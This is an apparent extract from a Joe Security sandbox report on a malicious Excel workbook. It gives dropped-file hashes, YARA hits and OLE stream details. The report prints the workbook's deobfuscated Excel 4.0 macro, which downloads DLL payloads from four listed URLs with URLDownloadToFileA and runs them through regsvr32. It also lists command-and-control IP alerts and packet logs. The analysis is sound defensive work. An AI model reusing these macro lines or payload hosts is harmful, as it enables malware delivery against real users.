Microsoft Excel, Create Time/Date: Fri Jun  5 19:19:34 2015, Last Saved Time/Date: Mon Nov 14 16:07:30 2022, Security: 0

Category: dropped

Size (bytes): 93696

Entropy (8bit): 5.487719037017272

Encrypted: false

SSDEEP: 1536:uVk3hOdsylKlgxopeiBNhZFGzE+cL2kdAbbCXuZH4gb4CEn9J4ZSROsCxP:ek3hOdsylKlgxopeiBNhZFGzE+cL2kdS

MD5: 6CD76CA2CDF17FDCAEEB4B7114086075

SHA1: 8822B10E9137D77F3E66ED85591875A0FEA8E0BF

SHA-256: E93583A81CC93E9C9CE3D9B6F03CC359FEF3C48FAB5ED857519277F2A9903629

SHA-512: 7A39C3675F3594991B2619691A578AB80E1A8B60F30B45C1175B1AEB85EAD850ED19C85AA4D104399F55121517A858D76D83AED8665403803FBC3AEB9DBD5135

C:\Users\user\AppData\Local\Temp\~DF8A90DB7077A13DA6.TMP

C:\Users\user\Desktop\6B247BB0.tmp (copy)

C:\Users\user\Desktop\BD680000
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Malicious: false

Yara Hits: Rule: SUSP_Excel4Macro_AutoOpen, Description: Detects Excel4 macro use with auto open / close, Source: C:\Users\user\Desktop\BD680000, Author: John 
Lambert @JohnLaTwC
Rule: JoeSecurity_XlsWithMacro4, Description: Yara detected Xls With Macro 4.0, Source: C:\Users\user\Desktop\BD680000, Author: Joe Security

Preview: ......................>.......................................................................................................................................................................................................................................................
........................................................................................................................................................................................................................................................f2....................
......\.p....user                                                                                                        B.....a.........=.....................................................=........K..8.......X.@..........."..............
.........1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 26

Entropy (8bit): 3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYV:rPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHA1: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64
E

Malicious: false

Preview: [ZoneTransfer]....ZoneId=0

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Gydar, Last Saved By: Gydar, Name of Creating Applicatio
n: Microsoft Excel, Create Time/Date: Fri Jun  5 19:19:34 2015, Last Saved Time/Date: Thu Nov 10 07:26:07 2022, Security: 0

Category: dropped

Size (bytes): 93184

Entropy (8bit): 5.507425525289632

Encrypted: false

SSDEEP: 1536:tKpb8rGYrMPe3q7Q0XV5xtezEsi8/dgHbCXuZH4gb4CEn9J4ZnXc:tKpb8rGYrMPe3q7Q0XV5xtezEsi8/dg4

MD5: 679267CCBC310E7718A1FD2937C87EE4

SHA1: 6A3163CDA525504FF2B529FAF3E8529C2B9CA7F1

SHA-256: 8DBB08BEBAB1C89574AB8F202172525DB889A984AFEF34D36AD61EA9359C8AA7

SHA-512: 951519299580E2204B66F5CB11966F32D8006F27E27D6BE95B72CC6D554B8DA49769DF61D7EE5DBCDEB48534269D79310954E4F2EBC1A705B8C1A4DC5399AAB
A

Malicious: true

Yara Hits: Rule: SUSP_Excel4Macro_AutoOpen, Description: Detects Excel4 macro use with auto open / close, Source: C:\Users\user\Desktop\RechX2022.11.11_1045X.xls, 
Author: John Lambert @JohnLaTwC

Preview: ......................>.......................................................................................................................................................................................................................................................
........................................................................................................................................................................................................................................................ZO..........
................\.p....user                                                                                                        B.....a.........=.....................................................=........P..8.......X.@..........."....
...................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.7730613530277655

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uz:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: 3929B889987F447CB837ED326860AFC6

SHA1: 9BB1A7622F2BC5A6A51487434A77F395DE5E50D7

SHA-256: B2AA99DEF35F913B42B882122C8DD5F72CEEAB82F6747F1B659C8632CD6EB902

SHA-512: EF4DB4F06EE1F85AB96AA70FC5DD05A062DA6A5D13F9A643AFE471F6FDC9FEA62FF39F3C951286B7A865C66C53E0E73FD84E2E5030E1843F24FE014CE7BA97
15

Malicious: true

C:\Users\user\Desktop\BD680000:Zone.Identifier

C:\Users\user\Desktop\RechX2022.11.11_1045X.xls

C:\Users\user\elv2.ooocccxxx
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Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.773063357716462

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uw:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: DD7105E9748A29B5BD61EA57214D57E3

SHA1: 827B323BDA769BA7FB838A231AA4160209266B14

SHA-256: C987AD0CC79B598BDEE9EC7DA96B07E82A04CADD73CB3CAF85B799731DEEF9A1

SHA-512: BECA102422697E4CD50B81289BDC5097935F11C0C5ACC86B7A69893FB819A3CD225E4B2594A2BB40163FBD68D7AC281B0FF260F30B55CF188112445EB26986B7

Malicious: true

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.773040587462974

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uM:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: B88BE642EA7E4F9AD82B5D843EDF0EC1

SHA1: 25FD3517B996858E28CB6CEE21EA17C528192ED6

SHA-256: 7738D0B8B7C927CA3A92AA49988E2D8BB9BCFA67C09AAA139AE4289F35191708

SHA-512: 8635936E878D2839463E7ADB2CD1CBB7B3C0D842D922355D8F281DD4E70A94D5A67222FD8C795A9F1A021EC7A75B78018E5F33B059B5A684BB625930B7A391E
C

Malicious: true

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

Process: C:\Windows\System32\regsvr32.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.773040587462974

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uM:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: B88BE642EA7E4F9AD82B5D843EDF0EC1

SHA1: 25FD3517B996858E28CB6CEE21EA17C528192ED6

SHA-256: 7738D0B8B7C927CA3A92AA49988E2D8BB9BCFA67C09AAA139AE4289F35191708

SHA-512: 8635936E878D2839463E7ADB2CD1CBB7B3C0D842D922355D8F281DD4E70A94D5A67222FD8C795A9F1A021EC7A75B78018E5F33B059B5A684BB625930B7A391E
C

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

C:\Users\user\elv3.ooocccxxx

C:\Users\user\elv4.ooocccxxx

C:\Windows\System32\HXVNCiWla\DkEI.dll (copy)

Copyright Joe Security LLC 2022 Page 24 of 40



Process: C:\Windows\System32\regsvr32.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.773063357716462

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uw:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: DD7105E9748A29B5BD61EA57214D57E3

SHA1: 827B323BDA769BA7FB838A231AA4160209266B14

SHA-256: C987AD0CC79B598BDEE9EC7DA96B07E82A04CADD73CB3CAF85B799731DEEF9A1

SHA-512: BECA102422697E4CD50B81289BDC5097935F11C0C5ACC86B7A69893FB819A3CD225E4B2594A2BB40163FBD68D7AC281B0FF260F30B55CF188112445EB26986B7

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

Process: C:\Windows\System32\regsvr32.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 433152

Entropy (8bit): 6.7730613530277655

Encrypted: false

SSDEEP: 6144:PZUCuTJlyIOziaTGy+IeIt1xJh5eWhv/w62LcuPv8cD4mRKqdONyAzDxkMwp2/uz:Py7EzZ4+HvY62LxHJ4KTGDlT

MD5: 3929B889987F447CB837ED326860AFC6

SHA1: 9BB1A7622F2BC5A6A51487434A77F395DE5E50D7

SHA-256: B2AA99DEF35F913B42B882122C8DD5F72CEEAB82F6747F1B659C8632CD6EB902

SHA-512: EF4DB4F06EE1F85AB96AA70FC5DD05A062DA6A5D13F9A643AFE471F6FDC9FEA62FF39F3C951286B7A865C66C53E0E73FD84E2E5030E1843F24FE014CE7BA97
15

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........?...l...l...l...l...l...l...l../l...l..2l...l.."l...l...l...l...l...l..*l...l..+l...l..,l...lRich..
.l................PE..d....)mc.........." .................[....................................................@.........................................pg..W....\..d.......T............................................................................ 
..8............................text............................... ..`.rdata...G... ...H..................@..@.data..../...p.......N..............@....pdata...............j..............@..@text................................@.. 
.rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................
........................................

File type: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Gydar, Last Saved By: Gydar, Name of Creating Applicatio
n: Microsoft Excel, Create Time/Date: Fri Jun  5 19:19:34 2015, Last Saved Time/Date: Thu Nov 10 07:26:07 2022, Security: 0

Entropy (8bit): 5.506793373203057

TrID: Microsoft Excel sheet (30009/1) 78.94%
Generic OLE2 / Multistream Compound File (8008/1) 21.06%

File name: RechX2022.11.11_1045X.xls

File size: 93184

MD5: c3746ff14c90cef7b9f4478cebe79b79

SHA1: de7ecf4c76f3753342f7fc0129b7ac32fb3c55c3

SHA256: 81574070b47944ba4904a6e419a25eb1825a3a6cba5b8be896f0144e11802d31

SHA512: 4c418a3b263b0c16d037dbaee002a12d364df6187430890ec3ebcfb510eaf5a650b283cac68bd0ec9b5e782fe9b4ee39cb8c69f774478087fd89c11b2e0e1f3f

SSDEEP: 1536:vKpb8rGYrMPe3q7Q0XV5xtezEsi8/dgHbCXuZH4gb4CEn9J4ZnX5:vKpb8rGYrMPe3q7Q0XV5xtezEsi8/dg9

TLSH: 23933A86B2F9D89DEA19C734889B4390A762EC204B564BCB3244F3A67FB0D501F539D7

File Content 
Preview:

........................>......................................................................................................................................................................................................................................

C:\Windows\System32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll (copy)

C:\Windows\System32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll (copy)

Static File Info

General

File Icon

Copyright Joe Security LLC 2022 Page 25 of 40



Icon Hash: e4eea286a4b4bcb4

Document Type: OLE

Number of OLE Files: 1

Has Summary Info:

Application Name: Microsoft Excel

Encrypted Document: False

Contains Word Document Stream: False

Contains Workbook/Book Stream: True

Contains PowerPoint Document 
Stream:

False

Contains Visio Document Stream: False

Contains ObjectPool Stream: False

Flash Objects Count: 0

Contains VBA Macros: False

Code Page: 1251

Author:

Last Saved By:

Create Time: 2015-06-05 18:19:34

Last Saved Time: 2022-11-10 07:26:07

Creating Application:

Security: 0

Document Code Page: 1251

Thumbnail Scaling Desired: False

Company:

Contains Dirty Links: False

Shared Document: False

Changed Hyperlinks: False

Application Version: 1048576

General

Stream Path: \x5DocumentSummaryInformation

File Type: data

Stream Size: 4096

Entropy: 0.3985130586395627

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . $ . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . S h e e t 4 . . . . .
S h e e t 5 . . . . . S h e e t 6 . . . . . S h e 

Data Raw: fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 24 
01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 
00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 e1 00 00 00 

General

Stream Path: \x5SummaryInformation

File Type: data

Stream Size: 4096

Static OLE Info

General

OLE File "RechX2022.11.11_1045X.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096
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Entropy: 0.2784985381370367

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . G y d
a r . . . . . . . . . . . G y d a r . . . . . . . . . . . M i c r o s o f t   E x c e l . @ . . . . ? R , . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 
00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 
00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00 

General

General

Stream Path: Workbook

File Type: Applesoft BASIC program data, first line number 16

Stream Size: 82874

Entropy: 5.92856896968195

Base64 Encoded: True

Data ASCII: . . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . \\ . p . . . . G y d a r                                                                                                                                                                                                                 
B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . P . 8 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . . . 

Data Raw: 09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 47 79 64 61 72 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 

Name: Sheet7

Extraction: dynamic

Type: 4

Final: False

Visible: True

Protected: False

6,4,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://datie-tw.com/img/O8G0RDZj7MYCuJyPoP/","..\elv1.ooocccxxx",0,0)",E10)=FORMULA("=EXEC("C:\Windows\System32\r
egsvr32.exe /S ..\elv1.ooocccxxx")",E12)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sbm.xinmoshiwang.com/upload/VaOfWEb3pW76UO/","..\elv2.ooocccxxx",0,0)",E14)=
FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv2.ooocccxxx")",E16)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://copunupo.ac.zm/cgi-bin/WFFcGx/","..\el
v3.ooocccxxx",0,0)",E18)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv3.ooocccxxx")",E20)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ly.yjlianyi.top/
wp-admin/4cChao/","..\elv4.ooocccxxx",0,0)",E22)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv4.ooocccxxx")",E24)=FORMULA("=RETURN()",E28)

Name: Sheet7

Extraction: dynamic

Type: 4

Final: False

Visible: True

Protected: False

6,4,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://datie-tw.com/img/O8G0RDZj7MYCuJyPoP/","..\elv1.ooocccxxx",0,0)",E10)=FORMULA("=EXEC("C:\Windows\System32\r
egsvr32.exe /S ..\elv1.ooocccxxx")",E12)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sbm.xinmoshiwang.com/upload/VaOfWEb3pW76UO/","..\elv2.ooocccxxx",0,0)",E14)=
FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv2.ooocccxxx")",E16)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://copunupo.ac.zm/cgi-bin/WFFcGx/","..\el
v3.ooocccxxx",0,0)",E18)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv3.ooocccxxx")",E20)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ly.yjlianyi.top/
wp-admin/4cChao/","..\elv4.ooocccxxx",0,0)",E22)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv4.ooocccxxx")",E24)=FORMULA("=RETURN()",E28)
9,4,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://datie-tw.com/img/O8G0RDZj7MYCuJyPoP/","..\elv1.ooocccxxx",0,0)
11,4,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv1.ooocccxxx")
13,4,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sbm.xinmoshiwang.com/upload/VaOfWEb3pW76UO/","..\elv2.ooocccxxx",0,0)
15,4,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv2.ooocccxxx")
17,4,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://copunupo.ac.zm/cgi-bin/WFFcGx/","..\elv3.ooocccxxx",0,0)
19,4,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv3.ooocccxxx")
21,4,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ly.yjlianyi.top/wp-admin/4cChao/","..\elv4.ooocccxxx",0,0)
23,4,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv4.ooocccxxx")
27,4,=RETURN()

Name: Sheet7, Macrosheet

Extraction: static

Type: unknown

Final: unknown

Visible: True

Protected: unknown

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 82874

Macro 4.0 Code
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SHEET: Sheet7, Macrosheet
CELL:E7, =(((((((FORMULA(((((((((((((('Sheet3'!L24&'Sheet3'!L26)&'Sheet3'!L27)&'Sheet3'!L28)&'Sheet3'!L28)&'Sheet2'!G8)&'Sheet2'!M18)&'Sheet3'!E2)&'Sheet3'!F10)&'Sheet2'!C21)&'Sheet5'!H22)&'Sh
eet2'!G31)&'Sheet4'!Q4)&'Sheet6'!F9)&'Sheet4'!S19,E10)=FORMULA((((((((((((((((((('Sheet3'!L24&'Sheet3'!G8)&'Sheet3'!F4)&'Sheet3'!G8)&'Sheet3'!O3)&'Sheet3'!L30)&'Sheet3'!F24)&'Sheet3'!L26)&'She
et4'!I23)&'Sheet4'!G7)&'Sheet3'!A4)&'Sheet4'!I17)&'Sheet3'!A4)&'Sheet4'!B11)&'Sheet3'!F10)&'Sheet6'!S24)&'Sheet4'!M12)&'Sheet6'!F9)&'Sheet3'!F24)&'Sheet3'!L31,E12))=FORMULA(((((((((((((('Sheet
3'!L24&'Sheet3'!L26)&'Sheet3'!L27)&'Sheet3'!L28)&'Sheet3'!L28)&'Sheet2'!G8)&'Sheet2'!M18)&'Sheet3'!E2)&'Sheet3'!F10)&'Sheet2'!C21)&'Sheet5'!H22)&'Sheet2'!J33)&'Sheet4'!Q4)&'Sheet6'!J16)&'She
et4'!S19,E14))=FORMULA((((((((((((((((((('Sheet3'!L24&'Sheet3'!G8)&'Sheet3'!F4)&'Sheet3'!G8)&'Sheet3'!O3)&'Sheet3'!L30)&'Sheet3'!F24)&'Sheet3'!L26)&'Sheet4'!I23)&'Sheet4'!G7)&'Sheet3'!A4)&'Shee
t4'!I17)&'Sheet3'!A4)&'Sheet4'!B11)&'Sheet3'!F10)&'Sheet6'!S24)&'Sheet4'!M12)&'Sheet6'!J16)&'Sheet3'!F24)&'Sheet3'!L31,E16))=FORMULA(((((((((((((('Sheet3'!L24&'Sheet3'!L26)&'Sheet3'!L27)&'Shee
t3'!L28)&'Sheet3'!L28)&'Sheet2'!G8)&'Sheet2'!M18)&'Sheet3'!E2)&'Sheet3'!F10)&'Sheet2'!C21)&'Sheet5'!H22)&'Sheet2'!L31)&'Sheet4'!Q4)&'Sheet6'!M5)&'Sheet4'!S19,E18))=FORMULA((((((((((((((((((('S
heet3'!L24&'Sheet3'!G8)&'Sheet3'!F4)&'Sheet3'!G8)&'Sheet3'!O3)&'Sheet3'!L30)&'Sheet3'!F24)&'Sheet3'!L26)&'Sheet4'!I23)&'Sheet4'!G7)&'Sheet3'!A4)&'Sheet4'!I17)&'Sheet3'!A4)&'Sheet4'!B11)&'Shee
t3'!F10)&'Sheet6'!S24)&'Sheet4'!M12)&'Sheet6'!M5)&'Sheet3'!F24)&'Sheet3'!L31,E20))=FORMULA(((((((((((((('Sheet3'!L24&'Sheet3'!L26)&'Sheet3'!L27)&'Sheet3'!L28)&'Sheet3'!L28)&'Sheet2'!G8)&'Shee
t2'!M18)&'Sheet3'!E2)&'Sheet3'!F10)&'Sheet2'!C21)&'Sheet5'!H22)&'Sheet2'!N33)&'Sheet4'!Q4)&'Sheet6'!O12)&'Sheet4'!S19,E22))=FORMULA((((((((((((((((((('Sheet3'!L24&'Sheet3'!G8)&'Sheet3'!F4)&'S
heet3'!G8)&'Sheet3'!O3)&'Sheet3'!L30)&'Sheet3'!F24)&'Sheet3'!L26)&'Sheet4'!I23)&'Sheet4'!G7)&'Sheet3'!A4)&'Sheet4'!I17)&'Sheet3'!A4)&'Sheet4'!B11)&'Sheet3'!F10)&'Sheet6'!S24)&'Sheet4'!M12)&'S
heet6'!O12)&'Sheet3'!F24)&'Sheet3'!L31,E24))=FORMULA((('Sheet3'!L24&'Sheet3'!G44)&'Sheet3'!H46)&'Sheet3'!J44,E28), 0

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP

192.168.2.22173.255.211.
88491774432404314 
11/14/22-
08:06:22.569452

TCP 240431
4

ET CNC Feodo Tracker Reported CnC Server TCP group 8 49177 443 192.168.2.22 173.255.211.
88

192.168.2.22182.162.143.
56491814432404316 
11/14/22-
08:06:53.932625

TCP 240431
6

ET CNC Feodo Tracker Reported CnC Server TCP group 9 49181 443 192.168.2.22 182.162.143.
56

192.168.2.2245.63.99.234
917970802404334 
11/14/22-
08:06:37.940985

TCP 240433
4

ET CNC Feodo Tracker Reported CnC Server TCP group 18 49179 7080 192.168.2.22 45.63.99.23

192.168.2.228.8.8.850134
532023883 11/14/22-
08:05:51.626960

UDP 202388
3

ET DNS Query to a *.top domain - Likely Hostile 50134 53 192.168.2.22 8.8.8.8

Total Packets: 54

• 53 (DNS)

• 80 (HTTP)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Nov 14, 2022 08:05:37.006994009 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:37.007054090 CET 443 49173 175.98.167.165 192.168.2.22

Nov 14, 2022 08:05:37.007123947 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:37.018887997 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:37.018958092 CET 443 49173 175.98.167.165 192.168.2.22

Nov 14, 2022 08:05:37.519278049 CET 443 49173 175.98.167.165 192.168.2.22

Nov 14, 2022 08:05:37.519539118 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:37.531042099 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:37.531075954 CET 443 49173 175.98.167.165 192.168.2.22

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets
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Nov 14, 2022 08:05:37.531594992 CET 443 49173 175.98.167.165 192.168.2.22

Nov 14, 2022 08:05:37.531703949 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:37.790266991 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:37.790314913 CET 443 49173 175.98.167.165 192.168.2.22

Nov 14, 2022 08:05:38.033938885 CET 443 49173 175.98.167.165 192.168.2.22

Nov 14, 2022 08:05:38.034055948 CET 443 49173 175.98.167.165 192.168.2.22

Nov 14, 2022 08:05:38.034107924 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:38.034135103 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:38.056026936 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:38.056026936 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:38.056073904 CET 443 49173 175.98.167.165 192.168.2.22

Nov 14, 2022 08:05:38.056140900 CET 49173 443 192.168.2.22 175.98.167.165

Nov 14, 2022 08:05:38.502569914 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.690666914 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.690902948 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.692190886 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.882436037 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.888438940 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.888515949 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.888571024 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.888631105 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.888679981 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.888694048 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.888745070 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.888758898 CET 80 49174 47.92.35.35 192.168.2.22

